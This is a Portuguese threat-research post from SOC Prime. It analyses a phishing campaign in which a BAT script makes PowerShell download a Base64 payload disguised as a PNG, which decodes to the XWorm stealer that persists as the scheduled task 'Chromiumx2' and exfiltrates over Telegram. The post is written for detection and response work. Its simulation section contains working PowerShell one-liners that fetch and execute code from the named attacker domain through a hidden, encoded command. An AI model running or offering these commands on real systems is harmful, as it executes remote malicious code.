SOC Prime Bias: Médio

06 Feb 2026 15:26 UTC

Script Malicioso Entregando Mais Malícia

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Script Malicioso Entregando Mais Malícia
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Um email de phishing entrega um anexo malicioso contendo um script BAT que inicia o PowerShell para baixar uma carga útil codificada em Base64. Após a decodificação, a carga útil se transforma em XWorm, um stealer .NET que identifica o host e exfiltra dados coletados através de um bot do Telegram. A persistência é estabelecida criando uma tarefa agendada que executa repetidamente o executável baixado. A operação depende de vários elementos de infraestrutura, incluindo uma isca de hospedagem de imagens falsa e pelo menos um IP comprometido usado para planejar a carga útil.

Investigação

A revisão do script BAT revelou uma linha única de comando do PowerShell que recupera um arquivo parecido com PNG de um domínio controlado pelo atacante. O conteúdo Base64 embutido é então sanitizado, invertido e decodificado para reconstruir o executável .NET. A análise binária mostrou que o malware registra uma tarefa agendada chamada Chromiumx2 e usa a API do Telegram para comando e controle e exfiltração de dados. Os investigadores extraíram indicadores principais de rede, incluindo o domínio de hospedagem, endereço IP associado e o endpoint da API do Telegram referenciado durante a execução.

Mitigação

Prevenir a execução de conteúdo BAT e PowerShell não confiável originado de anexos de email ou diretórios de download dos usuários. Aplicar uma lista de permissões de aplicativos para restringir a criação de tarefas agendadas e sinalizar novos registros de tarefas suspeitos. Monitorar e, quando possível, restringir o acesso de saída para endpoints da API do Telegram e bloquear os domínios maliciosos identificados nas camadas de DNS/proxy. Manter as detecções de endpoint atualizadas com novos indicadores observados e padrões de download baseados em scripts.

Resposta

Isolar endpoints onde a tarefa agendada Chromiumx2 ou Chromiumx2.exe é observada. Remover a tarefa agendada, deletar o binário malicioso e coletar artefatos (script, carga útil decodificada, XML de tarefa e logs relevantes) para escopo forense. Caçar pelo ambiente o mesmo nome de tarefa, comportamento de decodificação PowerShell similar, e tráfego direcionado pelo Telegram. Redefinir credenciais potencialmente expostas e notificar os usuários sobre o anexo de phishing para reduzir execução repetida.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Pré-voo de Telemetria & Base deve ter passado.

  • Narrativa do Ataque & Comandos:
    O atacante quer baixar e executar uma carga útil maliciosa de um servidor web comprometido. Para evitar a detecção de assinatura clássica, eles embutem toda a lógica de download e execução em uma única string Base64 e invocam o PowerShell com -EncodedCommand. O comando referencia o URL exato que a regra de detecção monitora (https://uniworldrivercruises-co.uk/optimized_MSI.png).

    1. Codificar a carga útil maliciosa (um simples downloader que executa o script recebido):

      $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
      $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
      Write-Host $b64

      B64 Resultante (exemplo): SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA... (truncado).

    2. Execute o comando codificado:

      powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...

    Esta linha única gera a telemetria exata que a regra Sigma espera: um processo PowerShell, o -EncodedCommand flag, e o URL malicioso dentro do bloco de script decodificado.

  • Script de Teste de Regressão:

    #-------------------------------------------------
    # Script de regressão para acionar a regra de detecção
    #-------------------------------------------------
    # 1. Construir a carga útil maliciosa
    $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
    $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    
    # 2. Execute a carga útil via um comando PowerShell codificado
    Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" `
        -WindowStyle Hidden -PassThru | Out-Null
    
    Write-Host "Comando codificado e malicioso executado."
    #-------------------------------------------------
  • Comandos de Limpeza:

    # Remover quaisquer arquivos temporários (nenhum esperado, pois a carga útil é transmitida diretamente)
    # Terminar quaisquer processos PowerShell ocultos iniciados pelo teste
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} |
        Stop-Process -Force
    
    Write-Host "Limpeza completa."